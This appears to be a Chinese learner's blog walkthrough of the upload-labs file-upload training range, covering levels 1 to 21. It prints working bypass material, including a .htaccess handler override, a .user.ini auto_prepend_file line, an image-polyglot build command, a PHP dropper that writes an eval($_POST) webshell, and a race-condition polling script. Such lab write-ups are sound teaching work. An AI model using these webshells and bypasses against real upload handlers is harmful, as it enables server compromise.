upload-labs

发布于:2025-03-02 ⋅ 阅读:(26) ⋅ 点赞:(0)

关于搭建

猜测源码可能出现问题吧,加上游览器版本限制(自己小白很菜),就没有在本地部署下来,就走了个近路,去buuctf上找到了虚拟靶场在这里插入图片描述

练习

Pass-01-js前端验证

查看源码在这里插入图片描述把checkfile删了,之后传php马在这里插入图片描述

Pass-02-MIME验证

查看源码,调用了mime验证在这里插入图片描述可以伪造文件头绕过,将content-type改为image/png在这里插入图片描述

Pass-03-phtml绕过

这关不允许上传php,asp,aspx,jsp文件,但是可以用phtml绕过
在这里插入图片描述出现200跳转说明传上去了

Pass-04-.htaccess绕过

可以看到黑名单太多了,直接硬打不太现实在这里插入图片描述
可以上传一个.htaccess文件作为编辑器,用bp抓包后修改文件后缀,加上GIF89a

<FilesMatch "1.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

Pass-05-黑名单验证-.user.ini.或点+空格+点绕过

在这里插入图片描述一万个黑名单,而且上一关的方法也被禁用了,要换新方法。上网搜搜发现没有被限制的后缀名有 .php7 以及 .ini

user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
设置可被识别。

两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

原理:php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

先创建一个.ini文件

auto_prepend_file=1.jpg

意思是所有的php文件都自动包含1.jpg文件。这个.user.ini相当于一个用户自定义的php.ini在这里插入图片描述再接着传图片马
但是这个题被弄复杂了,也可以用点+空格+点绕过在这里插入图片描述在这里插入图片描述就传进去了

Pass-06-点+空格绕过

黑名单有htaccess,还让小写转为大写在这里插入图片描述但是可以点+空格绕过
在这里插入图片描述就上传成功了

Pass-07-首尾去空

在这里插入图片描述多了个收尾去空,还是用点空格绕过,反正删个空格也不影响在这里插入图片描述就上传成功了

Pass-08-依然点+空格

源码中跟上一关大体一样在这里插入图片描述还是可以利用收尾去空解决在这里插入图片描述

Pass-09-点+空格+点

这关比上一关多了个删除点在这里插入图片描述就多写一个点来骗掉在这里插入图片描述就可以了

Pass-10-重写后缀绕过(点+空格+点)

跟上关一样在这里插入图片描述

Pass-11-双写后缀绕过

发现可以直接传马在这里插入图片描述但是查看路径发现后缀不见了在这里插入图片描述这个时候就尝试双写后缀来解决在这里插入图片描述就成功了

Pass-12-白名单-get型%00截断

看源代码在这里插入图片描述发现有白名单,允许上传jpg,png,gif文件,但是这一关白名单,最终文件的存放位置是以拼接的方式,会导致找不到地址
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00
在这里插入图片描述
需要修改第一行跟文件名,把upload/后面加上1.php%00,下面的1.php改为1.png

Pass-13-白名单-post-00截断

注:从这里开始因为尝试本地搭建成功了,就在本地操作了在这里插入图片描述

这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单

补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。

传1.php用BP抓包修改参数,在文件路径那里加上1.php和空格,把文件名后缀改为png在这里插入图片描述在将刚刚加的空格哈希值改为00就可以上传成功了在这里插入图片描述原理和get的一样

Pass-14-图片马

这道题在题目部分就写了是要利用图片马和文件包含,先要搓一个图片马,将一句话木马和图片放在同一个文件夹下,输入

copy /b 1.jpg + 1.php muma.png

上传图片马就完成任务了
在这里插入图片描述检验一下在这里插入图片描述

Pass-15-getimagesize图片马

在这里插入图片描述其实就加了这个函数,来确保文件是图片,但其实还是可以用上一关的图片马绕过

Pass-16-exif_imagetype图片马

源码提示在这里插入图片描述

知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

这个模块可以在小皮上开启,在php拓展那个页,开启后这个其实也是个文件校验函数,跟上一关一样,还是可以用14关的图片马绕过

Pass-17-二次渲染绕过

二次渲染是这一关的最大特点,将上传的文件重新生成为新的文件,这很容易出现“图片马被打乱,重新生成一张普通的jpg文件”
对于做文件上传之二次渲染建议用GIF图片,相对于简单一点,https://wwe.lanzoui.com/iFSwwn53jaf从大佬那里搞到的现成的

原理:上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片

那这样的话就可以按照14关的方式上传gif1,利用gif的性质避免二次渲染对图片马的扼杀在这里插入图片描述

Pass-18-条件竞争一

现根据提示进行代码审计在这里插入图片描述服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。看似可以用图片马,参照前面几关的方式解决,但是这里没有给文件包含的漏洞,只能借助php马来解析,但是里面又含有一个条件,如果不是上面三种文件,在上传后就会被删除,这里就根据查询,需要利用bp一直向服务器重发php,然后再上传图片马,直到图片上传。这里因为我小白的原因,怎么操作都不行,就去搬大佬的博客

Pass-19-条件竞争二

原理和18关一样,只不过这里是禁止传php,那就只能一直传图片马了,所以也是用bp抓包然后一直重发空载荷在这里插入图片描述线程拉高提高几率,但是要注意这关图片马要重新合成

<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["1"])?>');?>

之后按照大佬的脚本

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break
#保护隐私没写网址,根据自己来改

Pass-20-后缀名黑名单

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
那么这题就可以传一个jpg后缀的马,再bp抓包改后缀
将upload-19.jpg改为upload-19.php/.在这里插入图片描述
之后就可以看到上传成功了

Pass-21

这题对我来说很难,自己试了但是一直传不上去,要么就连不上,就搬大佬的博客了

这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件

补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
原文链接:https://blog.csdn.net/weixin_47598409/article/details/115050869

先传个php马,然后bp拦截在这里插入图片描述修改:

修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空

在这里插入图片描述